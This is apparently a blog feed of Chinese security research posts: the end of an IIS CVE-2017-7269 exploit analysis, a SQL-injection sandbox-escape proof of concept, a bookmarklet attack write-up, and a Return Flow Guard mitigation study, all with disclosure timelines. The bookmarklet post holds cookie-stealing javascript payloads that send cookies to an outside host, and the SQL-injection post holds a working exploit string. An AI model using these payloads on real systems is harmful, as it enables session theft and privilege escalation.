  v17 = **(_WORD **)(v2 + 4);
  if ( v17 == '<' )
  {
LABEL_64:
    v23 = '>';
    goto LABEL_65;
  }
  if ( v17 != '[' )
    return 0;
  v23 = ']';
LABEL_65:
  v20 = *(_DWORD *)(v2 + 4);
  v21 = wcschr((const wchar_t *)(v20 + 2), v23);
  *(_DWORD *)(v2 + 4) = v21;
  if ( !v21 )
    return 0;
  *(_DWORD *)(v2 + 4) = v21 + 1;
  v22 = v2 + 8;
  StringBuffer<char>::AppendAt(0, 
    2 * ((signed int)((char *)v21 - v20) >> 1) + 2, v20);
  StringBuffer<char>::AppendAt(*(_DWORD *)(v22 + 8), 
    2, &gc_wszEmpty);
  return *(_DWORD *)v22;
}

不过 not 字符串是不能替换的,因为这里会影响程序的执行流程。从上面的代码可以看出,存在 not 字符串时会将对象偏移 28 (0x1C) 处的值设置为 1,这个值会决定父级函数中的一个跳转(goto LABEL_27)是否执行。

// v22      -> ebp-44C
// ifilter  -> ebp-468
// 0x468 + 0x1C = 0x44C

if ( !FGetLastModTime(0, v8, &v23) || !FETagFromFiletime(
        &v23, &String, *((const struct IEcb **)a1 + 4)) )
{
LABEL_26:
  if ( v22 )                            // ==1
    goto LABEL_27;
  goto LABEL_30;
}

4. 其他

要编写一个真实环境中通用的 Exploit,还需要考虑许多其他因素,比如 IIS 设置的物理路径等,文章 [7] 列举了一些注意事项。

此外,文章 [8] 提到了一种基于 HTTP 回传信息的方法。

当然,关于编写通用 Exploit 所需要注意的细节,也可以参考 NSA 的 Explodingcan 的参数设置。

NSA Explodingcan 参数设置

5. References

[1] https://github.com/edwardz246003/IIS_exploit
[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7269
[3] https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html
[4] https://cansecwest.com/slides/2013/DEP-ASLR%20bypass%20without%20ROP-JIT.pdf
[5] http://www.mouseos.com/windows/kernel/KiFastCallEntry.html
[6] https://github.com/SkyLined/alpha3
[7] https://xianzhi.aliyun.com/forum/read/1458.html
[8] https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/

]]>
用SQL注入穿IE沙箱 http://xlab.tencent.com/cn/2017/01/19/ie-sandbox-escape-with-sql-injection/ Thu, 19 Jan 2017 09:24:23 +0000 http://xlab.tencent.com/cn/?p=260 继续阅读“用SQL注入穿IE沙箱”]]> 0x00 前言

每一个安全初学者都喜欢问这样一个问题,“我应该做web安全还是做二进制安全,哪个更有意思?哪个更有钱途?”

二进制安全就只等于反汇编,逆向,调试,内核 ……?

Web安全就只等于XSS,SQL注入,CSRF,webshell ……?

当两者结合起来的时候会发生什么美妙的事情呢?

一个典型的Web系统运行于Linux平台,使用Apache作为服务器,用PHP完成功能逻辑,重要数据存储在MySQL数据中,接收用户输入并返回信息。对于客户端软件来说其实也存在类似的架构,软件运行在Windows系统上,用C/C++完成功能逻辑,可能用SQLite存储重要数据,支持进程间通信。

那么在二进制漏洞挖掘中是否可用使用Web漏洞挖掘的思路呢?

笔者在研究某客户端软件时发现了一个非常有意思的逻辑安全漏洞。本文笔者将展示如何使用客户端软件中存在的SQL注入漏洞,实现本地权限提升,使用漏洞可以绕过IE沙箱等的限制,在高权限进程的上下文中执行任意代码。

0x01基础知识

1.1 用户界面特权隔离(UIPI)

用户界面特权隔离,即 User Interface Privilege Isolation,是Windows Vista后引入的一种新的安全机制。限制低完整性级别的进程向高完整性级别的进程窗口发送消息,从而减少攻击面,防止低完整性级别的恶意程序,通过进程间通信,在高完整性级别的上下文里执行任意代码,从而提升权限。

1.2 ChangeWindowMessageFilter[Ex]

由于UIPI的限制,低完整性级别的进程向高完整性级别的进程发送消息时会返回拒绝访问,但是Windows提供了ChangeWindowMessageFilter和ChangeWindowMessageFilterEx函数,可以用来关闭UIPI的限制,完美绕过Windows提供的防护机制。

1.3 SQL注入

SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。

而造成SQL注入的原因是因为程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。

0x02 客户端软件SQL注入漏洞

本节将介绍笔者在研究某客户端软件时发现的一个安全漏洞,为读者展示如何使用Web安全的思路,获得一个本地权限提升漏洞。

2.1 进程间通信

开机后该软件会启动DCProcess.exe程序,为了进程间通信,该程序会调用ChangeWindowMessageFilter函数,关闭UIPI机制。

逆向代码如下所示:

v7 = GetProcAddress(v5, "ChangeWindowMessageFilter");
(v7)(WM_COPYDATA, MSGFLT_ADD);

此举会导致低完整性级别的程序可以向DCProcess.exe程序发送WM_COPYDATA消息。

该软件通过WM_COPYDATA消息来控制DCProcess.exe程序运行特定脚本,脚本程序放置在程序目录Scripts下,如图2.1所示

图2.1

2.2 SQL注入漏洞

脚本的信息存储在DC_Container.s3db数据库中,其中tbl_script表如图2.2所示


图2.2

DCProcess.exe通过SQL查询语句来获取脚本运行的相关信息,但是在此处并没有对用户输入进行过滤,导致存在SQL注入问题。

sub_1001BD60("select * from tbl_script where ID = '%s'", v2);//其中 v2为WM_COPYDATA传递的数据

通过SQL注入漏洞,可以控制执行脚本的路径,从而执行我们构造的脚本。

POC如下所示:

HWND hWnd=FindWindow(0,L"DCCoreProcess");
WCHAR str[]=L"' and 1=0 union select 1,'test','../../../../../test/test.xml',0,3,1,'test',0,0,0 where '1'='1";
COPYDATASTRUCT MyCDS;
MyCDS.dwData=0xFBE;
MyCDS.cbData=sizeof(str);
MyCDS.lpData=str;
SendMessage(hWnd,WM_COPYDATA,(WPARAM)hCurrentWnd,(LPARAM)&MyCDS);

上述代码会使DCProcess.exe程序执行c:\test\test.xml脚本,通过定制该脚本,可以实现任意代码执行。由于ChangeWindowMessageFilter函数的存在使得IE沙箱之类低完整性级别的程序,可以绕过Windows权限控制体系,在DCProcess.exe的上下文中执行任意代码。下述脚本演示了如何实现运行notepad.exe程序。

<?xml version="1.0" encoding="UTF-8"?>

<root>
  <scripttype value="7"/>
  <visible value="1"/>
  <scriptlevel value="0"/>
  <scriptname value="test"/>
  <scriptdes value="test"/>
  <process>
    <step id="10453f34-86fa-7aee-e4fc-bbfcbd21a27c" name="ExecuteFile" desc="test" dll="ShellApi" dllURL="/download/dll/ShellApi.dll" dllPath="" com_dll="" com_dllURL="" com_dllPath="" continueOnFail="0" osType="2">
      <para name="Path" isInput="true" position="1" datatype="4" value="c:\windows\system32\notepad.exe"/>
      <para name="Arguments" isInput="true" position="2" datatype="4" value=""/>
      <para name="ExecuteAccount" isInput="true" position="3" datatype="4" value="0"/>
      <para name="WaitComplete" isInput="true" position="4" datatype="3" value="0"/>
    </step>
  </process>
</root>

0x03 总结

该漏洞其实并不复杂,危害程序也有限,但是在客户端软件的开发中使用关系型数据库,输入可控,又不对输入数据进行校验,导致通过SQL注入来实现权限提升,却是一个非常有趣的问题。

据此我们也可以发现,二进制安全和Web安全,并没有严格的界限,拥有更广的知识面,更灵活的思路,才有可能发现更多,更有趣的安全漏洞。

Disclosure Timeline:

2016/12/26 向相关厂商提供漏洞细节
2016/12/26 回复确认
2016/12/29 确认漏洞,并停产此款软件
2017/01/05 询问是否出安全补丁
2017/01/05 回复已下线软件,不再上线使用
2017/01/19 公开漏洞

]]>
BadBookmarklet http://xlab.tencent.com/cn/2017/01/18/badbookmarklet/ Wed, 18 Jan 2017 01:56:27 +0000 http://xlab.tencent.com/cn/?p=213 继续阅读“BadBookmarklet”]]> Bookmarklet,中文名可以翻译成小书签,它的存在形式和书签一样,都被保存在浏览器的收藏夹中。但它不是一个 HTTP、FTP、File 开头的 URL,而是一段 javascript: 开头的 javascript 代码。1995 年 Javascript 的作者 Brendan Eich 特意设计 javascript: URLs 和普通URL一样用于收藏夹,时至今日小书签已经于浏览器中存在了 20多年。

在这些年中浏览器以及WEB 上的攻防对抗风云幻变,也使小书签上的安全风险渐渐大于它的业务实用性。从攻击的角度来看,日渐复杂的应用场景、多样化的攻击手段层出不穷,使小书签可以执行任意 javascript 代码的这个特性演变成一了种攻击手段。而在防御层面,CSP 的出现与普及,也似乎预示着小书签的历史使命走到了尽头。

本文从在现代浏览器中导入和拖放小书签,来介绍小书签是如何变成一种致命攻击手段的。

1. 小书签的历史

“这是一个特意设计的特性:我在1995年发明 JavaScript 的时候发明了 javascript: 这类 URL,并打算使得 javascript: URLs 用法和其他URL一样,包括收录入收藏夹。 我特地把”JavaScript:” URL设计得可以在运行时产生一个新文档,例如 javascript:’hello, world’ ,同时也可以在当前文档的 DOM 下运行任意脚本(这点对小书签尤其有用),就像这样: javascript:alert(document.links[0].href) 。 这两者的区别就是,后者的URL在JS解析下值为 undefined。我在 Netscape 2 投入市场前加入了 void 操作符来清除任何非 undefined 的 javascript: URL 的值。”

——Brendan Eich,寄给 Simon Willison 的邮件

以上是 JavaScript 的发明人 Brendan Eich 说明小书签来历的一段话,引自于维基百科 http://zh.wikipedia.org/zh-cn/小书签

这20多年来浏览器小书签也一直遵循着当年 Brendan Eich 对它的定义。

2. 小书签的正常功能

我们知道浏览器使用隶属于<a> 标签的href的URI标签来存储书签。浏览器用 URI 前缀,例如 http:, file:,或是 ftp: 来确定协议以及请求剩余字符串的格式。

浏览器也能像执行其它前缀一样执行 javascript:。在内部处理时,当浏览器检查到协议为JavaScript,就将后面的字符串作为 JavaScript 脚本来执行,并用执行结果产生一个新页面。

例如这段小书签,可以直接让用户进行 base64 编码的转换:

javascript:(function(){x=prompt('Text:','');l=x.length%3;if(l)for(i=1;i<7-l;i++)x=x+'%20';;prompt('Output:',window.btoa(x));})();

而下面这段小书签则会在用户的当前域弹出 cookie:

Javascript:alert(document.cookie)

3. 小书签上的安全风险

小书签中可以写入任意 Javascript 代码,这使得写入恶意代码也成为可能。如果小书签中是一段可以获取用户 cookie 并发送给攻击者的代码,那么当用户点击这段小书签后,当前域的 cookie 信息就会被攻击者获取到。这个时候,小书签即变成了 UXSS 的孵化器。如果设备之间浏览器开启 SYNC,那么这段恶意小书签也会同步到其他设备上去,使危害增大。

看起来以上的分析是可行的,但如何让小书签变得有攻击性呢,因为用户不会主动去写一个恶意的小书签,然后自己去点击。而就算用户自己在小书签里自娱自乐的 Self-XSS 的弹个 alert(1),又有何不可?

如果我们能找到一个场景,可以让用户无意在浏览器中注入恶意的小书签。基于此想法,来看下面这个场景:
1. 用户在保存书签的时候,就认为书签是正确的。
2. 在点击书签后也会导航到正确的网站。

如果上面2点能顺利完成,且整个过程从表面来看没有任何差错和异常,那么用户对这个小书签基本上就不会去怀疑。在下文我们测试的过程中,当用户点击了这个书签,用户的信息即被攻击者获取到了!

4. 导入和拖放恶意小书签

在现代浏览器中,增加了多种添加书签的方法。这其中包括直接导入 HTML 格式的书签文件和直接拖放链接保存为书签。这两种保存书签方式使得小书签上的攻击成为可能!

4.1 导入恶意小书签

在现代浏览器中,都有了书签导入导出的功能。我们可以把书签导出为 HTML 文件,并能随时把 HTML 的书签导入到浏览器中。另外,不同浏览器之间也可以互相导入。

例如导入如下书签文件,你可以把它保存为 bookmark.html,然后导入到浏览器中:

<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8">
<TITLE>Bookmarks</TITLE>
<H1>Bookmarks</H1>
    <DT><H3>xss Bookmarks</H3>
    <DL><p>
        <DT>
        <DT><H3>xss_test</H3>
        <DL><p>
        </DL><p>
        <DT><A HREF="javascript:document.write('hack by xisigr');">xss0</A>
        <DT><A HREF="Javascript:alert(document.cookie);">xss1</A>
        <DT><A HREF="javascript: var b=document.createElement('script');b.src='http:// attackip /get.php?cookie='+escape(document.cookie);document.body.appendChild(b);setTimeout(%22location='http://www.google.com'%22,1000);">google</A>
    </DL><p>
</DL>

在我们测试过程中,Chrome/Firefox/Safari/Opera 这四款浏览器可以直接导入 bookmark.html 小书签,导入的过程中没有任何提示。IE无法导入这样的小书签,导入时会提示错误而中断。

小书签的自身特性,决定了上面的这三个小书签,在用户点击的时候,可以直接在当前 DOM 下渲染执行。如果当前域是 gmail.com,那么就等同于是在 gmail.com 域中插入了一段 Javascript 脚本,并运行它。

于是,我们有了如下的攻击场景:
1. 攻击者在网上共享了一个书签文件 bookmarks.html(注入了恶意代码)
2. 用户看到书签不错,下载下来.
3. 用户把书签 bookmakes.html 文件导入到浏览器中。
4. 在已经打开任何域的情况下,打开书签,书签中的恶意 javascript 代码就会注入到当前域下。一个 UXSS 攻击就发生了。

4.2 拖放恶意小书签

除了导入书签文件外,还可以使用拖放的方式来保存书签。

我在Safari浏览器中找到一个真实的小书签攻击案例。整个场景将在 MAC+IPad 环境下进行,为了体现攻击效果,我们在攻击场景中加入了设备之间的 SYNC,在这个攻击过程中,利用了一个 Safari 浏览器的拖放书签欺骗漏洞,来欺骗用户把恶意的小书签保存到收藏夹中,这个小书签保存后名称会显示 google.com,点击后也会到达 google.com,整个攻击过程非常隐蔽,很容易欺骗到用户。假设用户已经在 MAC、IPad 中打开了 Amazon 和 Gmail。那么当用户点击 google.com这个书签导航到 google.com 后,Amazon 和 Gmail 的 cookie 就被攻击者获取到了。

这个攻击场景如下图:

1. 用户拖放链接保存为书签。
2. 设备开启同步后,书签也会保存到其他设备上。
3. 当用户点击书签后,当前域的 cookie 会发送给攻击者。

第一步很关键,用户拖放链接保存为书签。这里会用到一个 Safari 浏览器拖放书签的欺骗攻击。先简单说下这个欺骗漏洞的原理,把如下代码保存为 attack.html。

<div draggable="true" ondragstart="event.dataTransfer.setData('text',  'http://baidu.com/#/google');"><a  href=http://www.google.com>google.com</a></div>

用 Safari 打开后,链接会显示 google.com,用户点击后会指向 google.com。但用户拖放这个链接保存为书签时,拖放的内容会被替换为 http://baidu.com/#/google ,而保存到收藏夹后,由于 Safari 收藏夹的设计特点,会取 URL 中最后“/”后面的字符作为书签的名字,所以书签的名字将是 google。那么在整个保存为书签的过程中,用户看到的始终是 google,所以不会对此次拖放保存书签有怀疑。当用户点击书签链接时,由于链接中加入了 #,所以 URL 会忽略掉#后面的内容,直接转向到了 baidu.com。这可以看做是一次重定向攻击。

了解完书签拖放欺骗的原理后,我们就来看一个真正的攻击,这次拖放替换的内容不是一个 URL,而是一个 javascript: 开头的小书签。可以直接在当前域下注入任意 javascript 代码。一个 UXSS 产生了。

将如下代码保存为 attack.html
代码:

<div draggable="true" ondragstart="event.dataTransfer.setData('text',  'javascript:%76%61%72%20%62%3D%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%62%2E%73%72%63%3D%27%68%74%74%70%3A%2F%2F%78%69%73%69%67%72%2E%63%6F%6D%2F%32%30%31%35%74%65%73%74%2F%67%65%74%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%27%2B%65%73%63%61%70%65%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3B%64%6F%63%75%6D%65%6E%74%2E%62%6F%64%79%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%62%29%3B%73%65%74%54%69%6D%65%6F%75%74%28%22%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D%27%22%2C%31%30%30%30%29%3B/#/google');"><a href=http://www.google.com>google.com</a></div>

编码部分的代码为:

var b=document.createElement('script');b.src='http://xisigr.com/2015test/get.php?cookie='+escape(document.cookie);document.body.appendChild(b);setTimeout("location='http://www.google.com'",1000);

演示视频:

5. CSP的出现使小书签消亡

自从内容安全策略(Content Security Policy,简称 CSP)开始被提出,这些年逐渐被各大浏览器厂商支持和认可,也预示着小书签的历史使命走到了尽头。

大家知道 CSP 是为了防止 XSS 而设计,默认配置下不允许执行内联代码(<script> 块内容,内联事件,内联样式),以及禁止执行 eval() , newFunction() , setTimeout([string], …) 和 setInterval([string], …)。

内联 Javascript 不能运行,不能加载外部资源,这些限制都使得小书签将不能正常工作。就此问题,Firefox 的 bugzilla 社区中曾有过白热化的讨论, https://bugzilla.mozilla.org/show_bug.cgi?id=866522 ,其中有一个对书签狂热的使用者说道:

【作为一个“超级用户”,我非常依赖我的书签工具和 Greasemonkey 的用户脚本来执行各种功能和特性,在各种网站(加入了 CSP 防御),书签中的脚本无法使用,现在这个的问题,非常恼人,困然了我好几个月。安全性显然是重要的,但是,作为最终用户,我应该永远有控制和浏览体验的绝对权力,并且几乎能够做我想做的。】

而另一篇文章,则直接写到Bookmarklets are Dead…
https://medium.com/making-instapaper/bookmarklets-are-dead-d470d4bbb626

在我们写这篇文章时,Firefox/Edge 浏览器中,小书签作为内联JS是不可以运行的,Chrome/Safari 浏览器中则是可以的。这是不是也可以认为小书签绕过了 CSP 呢?

6. 建议

其实对于Javascript:URLs 这样的用法,浏览器厂商也已经开始意识到它在特殊场景下所带来的安全风险。比如在之前的浏览器中,用户可以直接粘贴 Javascript:URLs 到地址栏并运行,但现在 Chrome /Firefox/Edge 浏览器会直接把 Javascript: 这个协议关键字去掉。

但对于小书签中可以直接执行 Javascript:URLs ,浏览器厂商始终保持一个较为保守的态度,毕竟小书签已经伴随浏览器 20 多年。对此,我们对小书签的使用,提出几点安全建议,可以暂时缓解小书签带来的安全风险:

浏览器厂商方面:对小书签的内容和权限进行颗粒度更细的控制。比如从文件或其他浏览器导入小书签时,严格过滤小书签内容,对可疑小书签弹出风险提示。

安全厂商方面:可以推出检测小书签的浏览器插件等。对恶意小书签,弹出预警提示。

用户方面:不要随意导入第三方小书签,明确导入的小书签功能是什么。

7. 厂商回复

Chrome
2015/04/13:向 Chrome 报告浏览器小书签安全问题
2015/04/13:Chrome 答复小书签上面的安全问题,他们在内部也讨论了很多次,目前来看小书签的实用性大于它带来的安全风险。
截至发稿时,并没有修复小书签可能涉及的安全风险。

Firefox
2015/04/13:向 Firefox 报告浏览器小书签安全问题
2015/04/14:Firefox 回复他们认为导入书签时,应该有个风险提示。还认为恶意书签的钓鱼、重定向攻击也是很严重。
截至发稿时,并没有修复小书签可能涉及的安全风险。

Safari
2015/04/13:向 Apple 报告 Safari 浏览器小书签安全问题
2015/04/21:向 Apple 报告 Safari 浏览器书签拖放欺骗
2015/12/02:向 Apple 提供详细漏洞视频
2015/12/25:询问 Apple 处理漏洞进度
2016/01/27:Apple 回复正在调查中
2017/02/28:Apple 回复确认会在最新版的安全更新中进行修复
2017/03/28:Apple 在2017年3月份安全更新中,修复了文中提到的小书签(bookmarklet)拖放欺骗导致任意代码执行漏洞。CVE-2017-2378。

8. 参考:

[1] http://zh.wikipedia.org/zh-cn/小书签
[2] https://bugzilla.mozilla.org/show_bug.cgi?id=866522
[3] https://medium.com/making-instapaper/bookmarklets-are-dead-d470d4bbb626

]]>
Return Flow Guard http://xlab.tencent.com/cn/2016/11/02/return-flow-guard/ Wed, 02 Nov 2016 06:33:54 +0000 http://xlab.tencent.com/cn/?p=199 继续阅读“Return Flow Guard”]]> 腾讯玄武实验室 DannyWei, lywang, FlowerCode

这是一份初步文档,当我们有新发现和更正时会进行更新。

我们分析了微软在2016年10月7日发布的Windows 10 Redstone 2 14942中加入的新安全机制Return Flow Guard。

1 保护原理

微软从Windows 8.1 Update 3之后加入了Control Flow Guard,用于阻止对间接跳转函数指针的篡改。CFG通过在每个间接跳转前检查函数指针合法性来实现,但是这种方式并不能阻止篡改栈上的返回地址或者Return Oriented Programming。

本次加入的新安全机制RFG,会在每个函数头部将返回地址保存到fs:[rsp](Thread Control Stack),并在函数返回前将其与栈上返回地址进行比较,从而有效阻止了这些攻击方式。

开启RFG需要操作系统和编译器的双重支持,在编译阶段,编译器会以nop指令的形式在目标函数中预留出相应的指令空间。当目标可执行文件在支持并开启RFG的系统上运行时,预留的指令空间会在加载阶段被替换为RFG指令,最终实现对返回地址的检测。当在不支持RFG的操作系统上运行时,这些nop指令则不会影响程序的执行流程。

RFG与GS最大的区别是,攻击者可以通过信息泄漏、暴力猜测等方式获取栈cookie从而绕过GS保护,而RFG是将当前的函数返回地址写入了攻击者不可控的Thread Control Stack,从而进一步提高了攻击难度。

2 控制开关

2.1 内核中的MmEnableRfg全局变量

该变量由注册表键值控制。该键值位于:
\Registry\Machine\SYSTEM\CurrentControlSet\Control\Session Manager\kernel
EnableRfg : REG_DWORD

2.1.1 初始化过程

KiSystemStartup -> KiInitializeKernel -> InitBootProcessor -> CmGetSystemControlValues

2.2 映像文件标志位

标志位存储在IMAGE_LOAD_CONFIG_DIRECTORY64结构中。
GuardFlags中的标志位指示该文件的RFG支持情况。

#define IMAGE_GUARD_RF_INSTRUMENTED                    0x00020000 // Module contains return flow instrumentation and metadata
#define IMAGE_GUARD_RF_ENABLE                          0x00040000 // Module requests that the OS enable return flow protection
#define IMAGE_GUARD_RF_STRICT                          0x00080000 // Module requests that the OS enable return flow protection in strict mode

2.3 进程标志位

2.3.1 外部读取

通过Win32 API GetProcessMitigationPolicy可以获取RFG的开启状态。

typedef enum _PROCESS_MITIGATION_POLICY {
// ...
    ProcessReturnFlowGuardPolicy = 11
// ...
} PROCESS_MITIGATION_POLICY, *PPROCESS_MITIGATION_POLICY;

2.3.2 结构定义

typedef struct _PROCESS_MITIGATION_RETURN_FLOW_GUARD_POLICY {
    union {
        DWORD Flags;
        struct {
            DWORD EnableReturnFlowGuard : 1;
            DWORD StrictMode : 1;
            DWORD ReservedFlags : 30;
        } DUMMYSTRUCTNAME;
    } DUMMYUNIONNAME;
} PROCESS_MITIGATION_RETURN_FLOW_GUARD_POLICY, *PPROCESS_MITIGATION_RETURN_FLOW_GUARD_POLICY;

3 新增的PE结构

3.1 IMAGE_LOAD_CONFIG_DIRECTORY64

启用RFG的PE文件中,Configuration Directory的IMAGE_LOAD_CONFIG_DIRECTORY64结构新增了如下字段:

ULONGLONG  GuardRFFailureRoutine; 
ULONGLONG  GuardRFFailureRoutineFunctionPointer; 
DWORD      DynamicValueRelocTableOffset;
WORD       DynamicValueRelocTableSection;

两个指针(16字节)
GuardRFFailureRoutine是_guard_ss_verify_failure函数的虚拟地址;GuardRFFailureRoutineFunctionPointer是
_guard_ss_verify_failure_fptr函数指针的虚拟地址,默认指向_guard_ss_verify_failure_default函数。

地址信息(6字节)
DynamicValueRelocTableOffset记录了动态重定位表相对重定位目录的偏移;
DynamicValueRelocTableSection记录了动态重定位表所在的节索引。

3.2 IMAGE_DYNAMIC_RELOCATION_TABLE

启用RFG的PE文件在普通的重定位表之后还有一张动态重定位表(IMAGE_DYNAMIC_RELOCATION_TABLE),结构如下。

typedef struct _IMAGE_DYNAMIC_RELOCATION_TABLE {
    DWORD Version;
    DWORD Size;
//  IMAGE_DYNAMIC_RELOCATION DynamicRelocations[0];
} IMAGE_DYNAMIC_RELOCATION_TABLE, *PIMAGE_DYNAMIC_RELOCATION_TABLE;

typedef struct _IMAGE_DYNAMIC_RELOCATION {
    PVOID Symbol;
    DWORD BaseRelocSize;
//  IMAGE_BASE_RELOCATION BaseRelocations[0];
} IMAGE_DYNAMIC_RELOCATION, *PIMAGE_DYNAMIC_RELOCATION;

typedef struct _IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;
    DWORD   SizeOfBlock;
//  WORD    TypeOffset[1];
} IMAGE_BASE_RELOCATION;

其中,IMAGE_BASE_RELOCATION结构的Symbol指明了存储的项目里记录的是函数头还是函数尾的信息,定义如下:

#define IMAGE_DYNAMIC_RELOCATION_GUARD_RF_PROLOGUE 0x00000001
#define IMAGE_DYNAMIC_RELOCATION_GUARD_RF_EPILOGUE 0x00000002

而最后的IMAGE_BASE_RELOCATION是常规的重定位表项,记录了需要替换的nop指令的虚拟地址和偏移,每一项的绝对地址可以通过ImageBase + VirtualAddress + TypeOffset算出。

4 指令替换

4.1 编译阶段

在启用了RFG的映像中,编译器会在目标函数的函数序和函数尾中预留出相应的指令空间,这些空间以nop指令的形式进行填充。

插入的函数头(9字节)

函数头会被插入类似如下的指令序列,长度为9字节:

xchg    ax, ax
nop     dword ptr [rax+00000000h]

追加的函数尾(15字节)

函数尾会在rent指令后追加15字节指令空间,如下:

retn
db 0Ah dup(90h)
retn

为了减少额外开销,编译器还插入了一个名为_guard_ss_common_verify_stub的函数。编译器将大多数函数以jmp到该stub函数的形式结尾,而不是在每个函数尾部都插入nop指令。这个stub函数已经预置了会被内核在运行时替换成RFG函数尾的nop指令,最后以retn指令结尾,如下:

__guard_ss_common_verify_stub proc near
retn
__guard_ss_common_verify_stub endp
db 0Eh dup(90h)
retn

4.2 加载阶段

内核在加载启用了RFG的映像时,在创建映像的section过程中会通过nt!MiPerformRfgFixups,根据动态重定位表(IMAGE_DYNAMIC_RELOCATION_TABLE)中的信息,获取需要替换的起始指令地址,对映像中预留的nop指令序列进行替换。

替换的函数头(9字节)

使用MiRfgInstrumentedPrologueBytes替换函数头中的9字节nop指令,MiRfgInstrumentedPrologueBytes对应的指令序列如下:

mov     rax, [rsp]
mov     fs:[rsp], rax

替换的函数尾(15字节)

使用MiRfgInstrumentedEpilogueBytes,结合目标映像IMAGE_LOAD_CONFIG_DIRECTORY64结构中的__guard_ss_verify_failure()地址,对函数尾的nop指令进行替换,长度为15字节,替换后的函数尾如下:

mov     r11, fs:[rsp]
cmp     r11, [rsp] 
jnz     _guard_ss_verify_failure
retn

5 Thread Control Stack

为实现RFG,微软引入了Thread Control Stack概念,并在x64架构上重新使用了FS段寄存器。受保护进程的线程在执行到mov fs:[rsp], rax指令时,FS段寄存器会指向当前线程在线程控制栈上的ControlStackLimitDelta,将rax写入rsp偏移处。

进程内的所有用户模式线程使用Thread Control Stack上的不同内存区域(Shadow Stack),可以通过遍历进程的VAD自平衡二叉树(self-balancing AVL tree)获取描述进程Thread Control Stack的_MMVAD结构,索引的过程及结构体如下:

typedef struct _MMVAD {
  /* 0x0000 */ struct _MMVAD_SHORT Core;
  union {
    union {
      /* 0x0040 */ unsigned long LongFlags2;
      /* 0x0040 */ struct _MMVAD_FLAGS2 VadFlags2;
    }; /* size: 0x0004 */
  } /* size: 0x0004 */ u2;
  /* 0x0044 */ long Padding_;
  /* 0x0048 */ struct _SUBSECTION* Subsection;
  /* 0x0050 */ struct _MMPTE* FirstPrototypePte;
  /* 0x0058 */ struct _MMPTE* LastContiguousPte;
  /* 0x0060 */ struct _LIST_ENTRY ViewLinks;
  /* 0x0070 */ struct _EPROCESS* VadsProcess;
  union {
    union {
      /* 0x0078 */ struct _MI_VAD_SEQUENTIAL_INFO SequentialVa;
      /* 0x0078 */ struct _MMEXTEND_INFO* ExtendedInfo;
    }; /* size: 0x0008 */
  } /* size: 0x0008 */ u4;
  /* 0x0080 */ struct _FILE_OBJECT* FileObject;
} MMVAD, *PMMVAD; /* size: 0x0088 */

typedef struct _MMVAD_SHORT {
  union {
    /* 0x0000 */ struct _RTL_BALANCED_NODE VadNode;
    /* 0x0000 */ struct _MMVAD_SHORT* NextVad;
  }; /* size: 0x0018 */
  /* 0x0018 */ unsigned long StartingVpn;
  /* 0x001c */ unsigned long EndingVpn;
  /* 0x0020 */ unsigned char StartingVpnHigh;
  /* 0x0021 */ unsigned char EndingVpnHigh;
  /* 0x0022 */ unsigned char CommitChargeHigh;
  /* 0x0023 */ unsigned char SpareNT64VadUChar;
  /* 0x0024 */ long ReferenceCount;
  /* 0x0028 */ struct _EX_PUSH_LOCK PushLock;
  union {
    union {
      /* 0x0030 */ unsigned long LongFlags;
      /* 0x0030 */ struct _MMVAD_FLAGS VadFlags;
    }; /* size: 0x0004 */
  } /* size: 0x0004 */ u;
  union {
    union {
      /* 0x0034 */ unsigned long LongFlags1;
      /* 0x0034 */ struct _MMVAD_FLAGS1 VadFlags1;
    }; /* size: 0x0004 */
  } /* size: 0x0004 */ u1;
  /* 0x0038 */ struct _MI_VAD_EVENT_BLOCK* EventList;
} MMVAD_SHORT, *PMMVAD_SHORT; /* size: 0x0040 */

typedef struct _RTL_BALANCED_NODE {
  union {
    /* 0x0000 */ struct _RTL_BALANCED_NODE* Children[2];
    struct {
      /* 0x0000 */ struct _RTL_BALANCED_NODE* Left;
      /* 0x0008 */ struct _RTL_BALANCED_NODE* Right;
    }; /* size: 0x0010 */
  }; /* size: 0x0010 */
  union {
    /* 0x0010 */ unsigned char Red : 1; /* bit position: 0 */
    /* 0x0010 */ unsigned char Balance : 2; /* bit position: 0 */
    /* 0x0010 */ unsigned __int64 ParentValue;
  }; /* size: 0x0008 */
} RTL_BALANCED_NODE, *PRTL_BALANCED_NODE; /* size: 0x0018 */

typedef struct _RTL_AVL_TREE {
  /* 0x0000 */ struct _RTL_BALANCED_NODE* Root;
} RTL_AVL_TREE, *PRTL_AVL_TREE; /* size: 0x0008 */

typedef struct _EPROCESS {
    …
    struct _RTL_AVL_TREE VadRoot;
    …
}

由以上可知,可以通过_EPROCESS.VadRoot遍历VAD二叉树。如果_MMVAD.Core.VadFlags.RfgControlStack标志位被置1,则当前_MMVAD描述了Thread Control Stack的虚拟内存范围(_MMVAD.Core的StartingVpn, EndingVpn, StartingVpnHigh, EndingVpnHigh),相关的结构体如下:

typedef struct _MMVAD_FLAGS {
  struct /* bitfield */ {
    /* 0x0000 */ unsigned long VadType : 3; /* bit position: 0 */
    /* 0x0000 */ unsigned long Protection : 5; /* bit position: 3 */
    /* 0x0000 */ unsigned long PreferredNode : 6; /* bit position: 8 */
    /* 0x0000 */ unsigned long NoChange : 1; /* bit position: 14 */
    /* 0x0000 */ unsigned long PrivateMemory : 1; /* bit position: 15 */
    /* 0x0000 */ unsigned long PrivateFixup : 1; /* bit position: 16 */
